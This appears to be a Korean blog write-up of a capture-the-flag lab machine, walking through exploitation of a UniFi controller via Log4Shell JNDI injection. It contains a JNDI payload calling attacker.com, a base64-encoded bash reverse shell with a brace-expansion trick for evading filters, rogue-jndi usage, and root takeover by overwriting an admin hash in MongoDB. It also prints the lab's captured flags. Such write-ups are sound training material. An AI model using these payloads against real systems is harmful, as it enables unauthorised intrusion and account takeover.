[STARTING_POINT] Tier2 Unified
Nmap
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo nmap 10.129.8.15 -p- -Pn --open -sV -sC --min-rate 2000
[sudo] password for kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 14:22 +0900
Nmap scan report for 10.129.8.15
Host is up (0.22s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
6789/tcp open ibm-db2-admin?
8080/tcp open http Apache Tomcat (language: en)
|_http-title: Did not follow redirect to https://10.129.8.15:8443/manage
|_http-open-proxy: Proxy might be redirecting requests
8443/tcp open ssl/nagios-nsca Nagios NSCA
|_ssl-date: TLS randomness does not represent time
| http-title: UniFi Network
|_Requested resource was /manage/account/login?redirect=%2Fmanage
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
| Subject Alternative Name: DNS:UniFi
| Not valid before: 2021-12-30T21:37:24
|_Not valid after: 2024-04-03T21:37:24
8843/tcp open ssl/http Apache Tomcat (language: en)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
| Subject Alternative Name: DNS:UniFi
| Not valid before: 2021-12-30T21:37:24
|_Not valid after: 2024-04-03T21:37:24
|_http-title: HTTP Status 400 \xE2\x80\x93 Bad Request
8880/tcp open http Apache Tomcat (language: en)
|_http-title: HTTP Status 400 \xE2\x80\x93 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 223.94 seconds
task
- 22,6789,8080,8443
nagios (8443)
- 시스템 모니터링 프로그램으로 호스트, 서비스,네트워크를 모니터링 할 수 있다. 인터넷 서비스는 원격에서도 확인가능하지만 로컬 서버의 자원을 모니터링 하려면 다른 프로그램의 도움을 받아야한다.
version check
- 브라우저로 8443에 접근하면 로그인페이지에 버전이 함께 보임
- 6.4.54
제품명 + 버전을 확인한 시점에서 알려진 취약점이 존재하는지 확인하는게 우선임
check CVE
- unifi 6.4.54 cve 를 검색하면 아래 링크가 나옴
- https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1
- 여기서 CVE 넘버 확인 가능 (CVE-2021-44228)
- Log4j 취약점 발생함을 확인
- https://github.com/puzzlepeaches/Log4jUnifi?tab=readme-ov-file
- https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi
- 여기서 해당 내용을 상세히 다루고 있음
LDAP (389)
- Lightweight Directory Access Protocol : 디렉터리 서비스에 접속하고 조회하기 위한 프로토콜(사용자, 그룹, 컴퓨터, 조직 정보 같은 걸 트리 구조로 저장해두 찾는 방식)
JNDI
- JNDI (Java Naming and Directory Interface) : 자바 프로그램이 외부의 이름 디렉터리 서비스에서 객체, 리소스, 설정값 등을 찾을 수 있게 해주는 인터페이이다.
- JNDI 자체는 일종의 조회 인터페이스이고, 실제 통신에는 여러 프로토콜이 쓰일 수 있다.
- LDAP
- RMI
- DNS
- JNDI 자체는 일종의 조회 인터페이스이고, 실제 통신에는 여러 프로토콜이 쓰일 수 있다.
- JDNI Injection
${jndi:ldap://attacker.com/a}
burpsuite
- test:test 로그인 시도할 떄 packet 잡기
- POST 패킷에 “remember” 파라미터가 있는 것을 확인할 수 있음.
- 위 블로그에서 payload input point로 쓰였던 부분인 것을 알 수 있음.
tcpdump
- 패킷 캡처 cli
- port 389 으로 ldap 기본 포트를 지정해서 패킷을 확인하도록 함.
- burpsuite에 remember 파라미터를 JDNI Injection을 넣어서 요청을 보내봄.
- 그러면 실제로 요청이 날아오는 것을 볼 수 있음 (log4j 취약점 트리거됨을 확인. 검증 완료)
시나리오
- 타겟 서비스 (Unifi) 에 JNDI injection을 통해 공격자 측으로 요청을 보내도록 페이로드 구성 (최종 목표 리버스쉘)
- 이를 위해서는?
- JNDI 가 LDAP 프로토콜을 이용함을 명시. (기본 포트인 389로 요청)
- 이때 공격자는 389 포트에 요청이 오는게 있는지 tcpdump로 패킷 감시
- (이 부분은 이미 검증이 됨)
- 하지만 지금은 LDAP을 조회하러 온다는 것만 확인한 상태
- 이후에 rogue-jndi 툴을 사용하여 jndi/ldap 조회하러 왔을 때 ldap 응답을 돌려주기 위해서인데, 해당 툴로 응답과 함께 명령 실행까지 더해서 응답을 돌려주기 위함이다. (LDAP 서버를 띄운다고 생각하면 편함)
- 이떄 encoding issues를 피하기 위해 리버스쉘 실행 명령 스크립트를 base64로 인코딩하여 응답으로 돌려보낸다.
rogue-jndi
https://github.com/veracode-research/rogue-jndi
- A malicious LDAP server for JNDI injection attacks.
- 조회가 온다는 것을 확인하는것을 넘어서, 어떤 응답을 줄지, 어떤 어플리케이션 동작으로 이어질지를 제어하기 위해 사용
git clone
git clone https://github.com/veracode-research/rogue-jndi.git
maven Install
sudo apt update && sudo apt install maven
build
mvn package
Usage
java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTUuMTYvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.15.16"
- jave -jar : 자바 아카이브(JAR) 파일을 실행하는 명령
- rogue-jndi/target/Rougue.jndi-1.1.jar : Rogue-JNDI 오픈소스 공격 도구 실행
- 취약한 서버가 JNDI 조회를 수행할 때 악성 자바 객체를 응답으로 돌려주어 원격 코드 실행(RCE)을 가능하게 한다.
- —command : payload. 타겟 서버에서 실행될 실제 명령어 부분
{cmd,arg}: 중괄호와 쉼표를 이용하여 공백을 우회하였다.- 많은 보안 장비(WAF, IDS)나 자바의
Runtime.exec()함수는 명령어 내부의 공백을 기준으 인자를 분리한다. 공백 대신 쉼표를 사용하면, 실행 시점에 Bash가 이를 다시 공백으로 변환하여 사용하게 되고, echo … 으로 분리된게 하나로 동작하게 된다.
- 많은 보안 장비(WAF, IDS)나 자바의
{echo,(base64)}: base64로 인코딩된 문자열을 출력- |
{base64,-d}: 앞에서 출력된 인코딩 문자열을 디코딩 - |
{base64,-i}: 앞에서 디코딩된 문자열을 interactive 쉘로 실행
- —hostname : 공격자 ip
주의할 점은 —command 로 전해질 페이로드에는 bash -c 를 제외하고 공백이 포함되어있으면 안된다.
Reverse Shell
shell script -> base64
echo 'bash -c bash -i >&/dev/tcp/10.10.15.16/4444 0>&1' | base64
- bash -c : 다음에 오는 문자열을 bash 쉘 명령어로 실행
- bash -i : interactive(대화형) 쉘 실행
- >& : 표준 출력과 에러를 모두 특정 목적지로 전송
- /dev/tcp/10.10.15.16/1337 : 리눅스의 특수 파일 기능을 이용하여, 해당 IP와 PORT로 TCP 연결을 생성한다.
- 여기서 포트는 nc 명령으로 리버스쉘을 받을 포트를 지정한다.
- 0>&1 : 표준 입력을 표준 출력이 가리키는 곳으로 복제한다.
- 공격자가 자신의 컴퓨터에서 입력하는 내용이 네트워크를 타고 타겟 서버의 bash입력으로 전달된다.
Exploit
우선 쉘을 받을 리스너를 켠다
sudo nc -lnvp 4444
rogue-jndi를 실행한다. 실행하면 여러주소들이 나온다.
┌──(kali㉿kali)-[~/tools]
└─$ java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTUuMTYvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.15.16"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://10.10.15.16:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://10.10.15.16:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://10.10.15.16:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://10.10.15.16:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://10.10.15.16:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://10.10.15.16:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Mapping ldap://10.10.15.16:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://10.10.15.16:1389/o=reference to artsploit.controllers.RemoteReference
이중에서 서비스가 tomcat으로 돌아가고 있으니, tomcat 주소를 페이로드로 전송한다.
${jndi:ldap://10.10.15.16:1389/o=tomcat}
공격에 성공하면 rogue-jndi가 실행된 세션에서
...
Sending LDAP ResourceRef result for o=tomcat with javax.el.ELProcessor payload
이런 문구를 볼 수 있는데, nc 세션으로 가보면
...
connect to [10.10.15.16] from (UNKNOWN) [10.129.8.131] 34722
이렇게 쉘을 받아온 것을 볼 수 있다. 아직 불안정한 쉘이니 완전한 기능을 갖춘 쉘로 바꿔주자.
shell 안정화
script /dev/null -c bash
- script : 터미널 세션의 모든 입력과 출력을 파일로 기록(Log)하는 도구
- 해당 명령이 실행되면 새로운 자식 쉘이 생성되는데, 이때 이 쉘은 가상 터미널(PTY) 할당을 시도하게 된다.
- /dev/null : 리눅스의 쓰레기통.
- 쉘 세션을 기록하는게 목적이 아니라 새로운 쉘 자체가 필요하기 때문에 기록 파일은 버리도록 지정하는 것이다.
- -c bash : 세션이 새로 생성될 때 실행할 명령어를 지정한다. (bash)
user flag
home 디렉터리로 가려고하면 권한이 없음. (unifi) 그래서 직접 /home 디렉터리로 접근해보면 michael 이라는 홈 디렉터리가 존재함을 알 수 있고, 해당 디렉터리로 가보면 플래그 획득이 가능함.
6ced1a6a89e666c0620cdb10262ba127
privilege escalation
우선 해상 머신에서 어떤 프로세스가 돌아가고 있는지 확인해보자.
ps aux | grep mongo
- 여기서 ps aux만 사용하면 포트를 확인할 수 없다.
- ps 명령어의 가로 폭 제한(Truncation) 특성 때문인데, 결과가 너무 길어 화면 밖으로 짤리는 것을 방지하기위해 미리 잘라버리는데, 그래서 결과를 다 볼 수가 없다.
- ps aux로 mongodb의 존재를 확인하고, grep으로 찾아가는 방식을 추천한다.
- a : all with tty (터미널과 연결된 모든 사용자의 프로세스를 출력)
- u : user-oriented (프로세스의 소유자, CPU/메모리 사용량 등 상세 정보를 포함)
- x : without tty (터미널에 종속되지 않은 프로세스(데몬, 백그라운드 서비스 등)까지 모두 포함)
TTY 란? Teletypewriter 의 약어로, 터미널이나 콘솔과 거의 같은 의미로 쓰인다.
mongodb client
mongo --port 27117
- mongodb의 기본 포트는 27017 이다. 하지만, 서비스는 27117 에서 돌아가고 있으니 포트 지정을
--port옵션으로 해주어야한다. (--host는 로컬로 자동 지정된다.) 그러면 바로 DB로 접속할 수 있게 된다. (취약) 이제 mongodb 명령으로 탐색해보자.
show dbs
use <db_name>
show collections
db.stats()
exit
- show dbs 부터 해보면,
> show dbs;
shshow dbs;
ace 0.002GB
ace_stat 0.000GB
admin 0.000GB
config 0.000GB
local 0.000GB
ace 라는 DB에만 뭐가 들어있는거 같다.
- 검색해보니 UniFi Defualt Database가 ace 임을 알 수 있다. 선택해서 내부를 보면,
> show collections
shshow collections
account
admin
alarm
alert
apgroup
broadcastgroup
crashlog
dashboard
device
dhcpoption
dpiapp
dpigroup
dynamicdns
event
featuremigration
firewallgroup
firewallrule
guest
heatmap
heatmappoint
hotspot2conf
hotspotop
hotspotpackage
ipsalert
map
mediafile
networkconf
payment
portalfile
portconf
portforward
privilege
radiusprofile
rogue
rogueknown
routing
scheduletask
setting
site
spatialrecord
ssooauthtoken
stat
storeddpistats
systemevent
tag
task
user
usergroup
verification
virtualdevice
voucher
wall
wifiman_feedback
wlanconf
wlangroup
뭐가 엄청 많다… 일단 admin이 수상하니 admin부터 보면,
> db.admin.find()
dbdb.admin.find()
{ "_id" : ObjectId("61ce278f46e0fb0012d47ee4"), "name" : "administrator", "email" : "administrator@unified.htb", "x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.", "time_created" : Num ...
administrator의 계정명과 x_shadow 변수에 암호화된 패스워드를 구할 수 있다.
$6$는 해시 식별자를 말하는데, 해당 해시는 SHA-512이다.
하지만 sha-512로 해시화된 해당 함수를 직접 크랙하는 것은 불가능에 가깝다. (솔트 값까지 끼어있을거라서 해시 테이블로도 크랙이 불가능하다.)
그래서 mkpasswd 툴로 새로운 hash를 생성하여 administrator의 패스워드를 덮을 것이다.
mkpasswd
mkpasswd 툴은 whois 패키지를 설치해야 사용할 수 있다. 그래서 whois를 먼저 설치해준다.
sudo apt update && sudo apt install -y whois
이제 다음과 같이 명령을 사용하면 된다.
mkpasswd -m sha-512 password123
-m: method 의 약어로, 해시 알고리즘을 지정한다.- 만약 솔트 값을 넣고 싶다면
-S를 사용하면 된다.
┌──(kali㉿kali)-[~]
└─$ mkpasswd -m sha-512 password123
$6$LPM0pInMzMqLCxoi$nLx7dh6fi7KT4YlNbr4aUduIqV4VM4LT.ia2RK4tDUAxxKXGWDntVvNytFgeBgZ2e7614EueMt56tM1uMLlNh0
find()
우선 mongo 명령으로 간단하게 위에 했던 행동을할 수 있는데, 다음과 같이 명령을 쓰면 된다.
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson)"
--eval: 함수 실행- ace : db name
- db.admin.find() : admin 이라는 collection을 반환. 근데 이때 반환 형태는 Cursor 라는 형태임
- forEach() : 반복문
- printjson : json 형태로 출력 즉, 반환한 내부 데이터를 순환하며 json 형태로 이쁘게 출력해준다.
update()
db.<collection>.update() 는 조건에 맞는 문서를 수정하는 메서드이다.
- 기본 사용 방법은 다음과 같다.
db.<collection>.update(query, update, options)
- 예시
- name이 alice인 문서를 찾아서 age를 30으로 설정
db.users.update(
{ name: "alice" },
{ $set: { age: 30 } }
)
이제 이걸 머신에서 적용해보면?
db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"[생성된 SHA_512 해시]"}})
- 최종 해시 덮어쓰는 명령
mongo --port 27117 ace --eval 'db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow" : "$6$LPM0pInMzMqLCxoi$nLx7dh6fi7KT4YlNbr4aUduIqV4VM4LT.ia2RK4tDUAxxKXGWDntVvNytFgeBgZ2e7614EueMt56tM1uMLlNh0"}})'
확인해 보면?
unifi@unified:/home/michael$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson)"
<117 ace --eval "db.admin.find().forEach(printjson)"
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/ace
MongoDB server version: 3.6.3
{
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "$6$LPM0pInMzMqLCxoi$nLx7dh6fi7KT4YlNbr4aUduIqV4VM4LT.ia2RK4tDUAxxKXGWDntVvNytFgeBgZ2e7614EueMt56tM1uMLlNh0", ...
- password123 (sha-512)
$6$LPM0pInMzMqLCxoi$nLx7dh6fi7KT4YlNbr4aUduIqV4VM4LT.ia2RK4tDUAxxKXGWDntVvNytFgeBgZ2e7614EueMt56tM1uMLlNh0
동일한 것을 확인할 수 있다!!
이제 관리자 패널(웹페이지)로 돌아가서 administrator:password123 으로 로그인을 시도해보자.
ssh
로그인에 성공하면 좌측에 settings - site 탭으로 온다.
스크롤을 내리면 ssh 접속에 필요한 계정 정보가 저장되어있는 것을 볼 수 있다. (root 계정)
이를 탈취 후, ssh로 접속하면 root flag 획득 가능
┌──(kali㉿kali)-[~/Documents/htb/nmap]
└─$ ssh root@10.129.8.131
The authenticity of host '10.129.8.131 (10.129.8.131)' can't be established.
ED25519 key fingerprint is: SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.8.131' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@10.129.8.131's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
root@unified:~# ls
root.txt
root@unified:~# cat root.txt
e50bc93c75b634e4b272d2f771c33681
root@unified:~#
- privilege ascalation 성공!!
← ALL POSTS